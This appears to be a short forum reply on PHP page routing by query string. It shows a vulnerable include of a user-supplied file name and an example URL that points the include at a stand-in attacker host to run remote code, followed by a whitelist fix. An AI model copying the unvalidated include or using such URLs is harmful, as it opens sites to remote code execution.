default.php needs to have some code that displays the correct content based on your query string variable. for example:
default.php:
<?
if ($PAGEID == 'articles') {echo 'article stuff...';}
if ($PAGEID == 'staff ') {echo 'staff stuff...' ;}
?>
to makes things easier I would suggest you store the individual page content either in separate files or in a database. then default.php would look more like:
default.php:
<?
include ("{$PAGEID}.php";}
?>
Be advised! this method can open up some serious security holes if you are not careful. If you do choose to use the second method above (using include) what's to stop me from typing the following into my address bar:
http://www.evostation.com/default.php?PAGEID=http://www.evilcode.com/evil_script
For this reason you should check you user input variables before using them to include() other files. The easiest way is to simply store the allowable variables in an array and the use in_array() to validate.